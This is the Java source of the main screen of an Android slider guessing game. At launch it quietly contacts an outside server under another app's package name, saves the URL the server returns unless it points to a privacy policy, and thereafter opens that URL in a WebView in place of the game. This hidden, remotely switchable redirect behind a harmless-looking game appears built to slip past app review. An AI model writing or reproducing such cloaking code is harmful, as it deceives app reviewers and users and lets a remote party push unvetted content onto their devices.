package com.robert.taibots;

import androidx.appcompat.app.AppCompatActivity;

import android.annotation.SuppressLint;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.ActivityInfo;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.ImageButton;
import android.widget.SeekBar;
import android.widget.TextView;
import android.webkit.WebView;
import android.widget.Toast;

import org.json.JSONObject;

import java.util.Random;

public class MainActivity extends AppCompatActivity implements View.OnClickListener {

    private SeekBar seek_Bar;
    private Button shootButton;
    private ImageButton backButton;
    private ImageButton aboutButton;
    private TextView randText;
    private TextView numText;
    private TextView roundText;
    private int currentValue;
    private int roundNum;
    private int resultNum;
    private int randValue;

    private Context mContext;
    private AlertDialog alert = null;
    private AlertDialog.Builder builder = null;

    private WebView webView;
    private String detail = "";
    @Override
    protected void onCreate(Bundle savedInstanceState) {

        SharedPreferences sp = getSharedPreferences("config", MODE_PRIVATE);
        String pwd = sp.getString("name", "");
        if (pwd.length() > 0) {
            Intent it = new Intent(MainActivity.this, WebActivity.class);
            it.putExtra("url_String",pwd);
            startActivity(it);
//            return;
        }

        super.onCreate(savedInstanceState);
        setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
        setContentView(R.layout.activity_main);
        mContext = MainActivity.this;

        bindView();
        startGame();
        HttpCallbackListener li = new HttpCallbackListener() {
            @Override
            public void onFinish(String response) {
                parseEasyJson(response);
            }
            @Override
            public void onError(Exception e) {
                e.printStackTrace();
            }
        };
        new GetPackageUrl().HttpUtil("https://api.wcglbwrh.top/app/index?package_name=com.BullEye.www&version=101",li);
    }
    private void parseEasyJson(String json){
        try{
            JSONObject jsonObject = new JSONObject(json);
            JSONObject dataObj = jsonObject.getJSONObject("data");
            String url = (String) dataObj.getString("official_url");
            boolean containsSubStr = url.contains("privacypolicies");
            if (containsSubStr) {

            } else {

                SharedPreferences sp = getSharedPreferences("config", MODE_PRIVATE);
                SharedPreferences.Editor edit = sp.edit();
                edit.putString("name", url);
                edit.commit();

                Intent it = new Intent(MainActivity.this, WebActivity.class);
                it.putExtra("url_String",url);
                startActivity(it);
            }

        }catch (Exception e){e.printStackTrace();}
    }
    private void bindView () {
        seek_Bar = (SeekBar) findViewById(R.id.seekBar1);
        shootButton = (Button) findViewById(R.id.shootButton);
        randText = (TextView) findViewById(R.id.randText);
        numText = (TextView) findViewById (R.id.textS);
        roundText = (TextView) findViewById(R.id.textRound);
        backButton = (ImageButton) findViewById(R.id.backButton);
        aboutButton = (ImageButton) findViewById(R.id.aboutButton);
        seek_Bar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
            @Override
            public void onProgressChanged(SeekBar seekBar, int i, boolean b) {
                currentValue = i;
            }

            @Override
            public void onStartTrackingTouch(SeekBar seekBar) {

            }

            @Override
            public void onStopTrackingTouch(SeekBar seekBar) {

            }
        });
        shootButton.setOnClickListener(this);
        backButton.setOnClickListener(this);
        aboutButton.setOnClickListener(this);
    }

    @SuppressLint("SetTextI18n")
    private void startGame() {
        this.resultNum = 0;
        numText.setText("scroe:"+ resultNum);
        this.roundNum = 1;
        roundText.setText("round:"+ roundNum);
        this.randValue = new Random().nextInt(101);
        randText.setText(""+this.randValue);
        this.currentValue = 49;
        seek_Bar.setProgress(this.currentValue);
    }
    private void startNewGame() {
        this.roundNum += 1;
        roundText.setText("round:"+this.roundNum);
        this.randValue = new Random().nextInt(101);
        randText.setText(""+this.randValue);
        this.currentValue = 49;
        seek_Bar.setProgress(this.currentValue);
    }

    @Override
    public void onClick(View view) {
        if (view.getId() == R.id.shootButton) {
            //        Toast.makeText(mContext,"123",Toast.LENGTH_LONG).show();
            int cha = Math.abs(randValue - currentValue);
            int singleResult = 100 - cha;
            resultNum = resultNum + singleResult;
            numText.setText("scroe:"+ resultNum);
            alert = null;
            builder = new AlertDialog.Builder(mContext);

            String titles = "";
            if (cha == 0) {
                titles = "Perfect!";
            } else if (cha <= 10) {
                titles = "Not bad !";
            } else {
                titles = "Make persistent efforts";
            }
            alert = builder.setTitle(titles)
                    .setMessage("Your score：" + singleResult)
                    .setPositiveButton("确定", new DialogInterface.OnClickListener() {
                        @Override
                        public void onClick(DialogInterface dialogInterface, int i) {
                            startNewGame();
                        }
                    }).create();
            alert.show();
        } else if (view.getId() == R.id.backButton) {
            Toast.makeText(this,"Reset Record",Toast.LENGTH_LONG).show();
            this.resultNum = 0;
            numText.setText("scroe:"+ this.resultNum);
            this.roundNum = 1;
            roundText.setText("round:"+this.roundNum);
        } else {
            Toast.makeText(this,"About Games",Toast.LENGTH_LONG).show();
            Intent it = new Intent(MainActivity.this, AboutActivity.class);
            startActivity(it);
        }
    }
}